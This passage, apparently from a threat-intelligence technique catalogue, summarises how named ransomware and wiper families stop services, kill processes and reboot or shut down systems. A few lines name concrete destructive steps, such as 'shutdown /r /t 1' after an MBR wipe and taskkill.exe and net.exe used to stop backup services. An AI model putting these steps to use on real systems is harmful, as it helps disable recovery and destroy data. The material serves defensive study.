RobbinHood stops 181 Windows services on the system before beginning the encryption process.
Royal can use RmShutDown to kill  applications and services using the resources that are targeted for encryption.
Ryuk has called kill.bat for stopping services, disabling services and killing processes.
SLOTHFULMEDIA has the capability to stop processes and services.
WannaCry attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.
It has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.
Technique:  System Shutdown
It has used malware that will issue the command shutdown /r /t 1 to reboot a system after wiping its MBR.
It has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.
AvosLocker’s Linux variant has terminated ESXi virtual machines.
DCSrv has a function to sleep for two hours before rebooting the system.
HermeticWiper can initiate a system shutdown.
KillDisk attempts to reboot the machine by terminating specific processes.
It has rebooted systems after destroying files and wiping the MBR on infected systems.
LockerGoga has been observed shutting down infected systems.
LookBack can shutdown and reboot the victim machine.
Maze has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.
NotPetya will reboot the system one hour after infection.
Olympic Destroyer will shut down the compromised system after it is done modifying system configuration settings.
Shamoon will reboot the infected system once the wiping functionality has been completed.
WhisperGate can shutdown a compromised host through execution of ExitWindowsEx with the EXW_SHUTDOWN flag.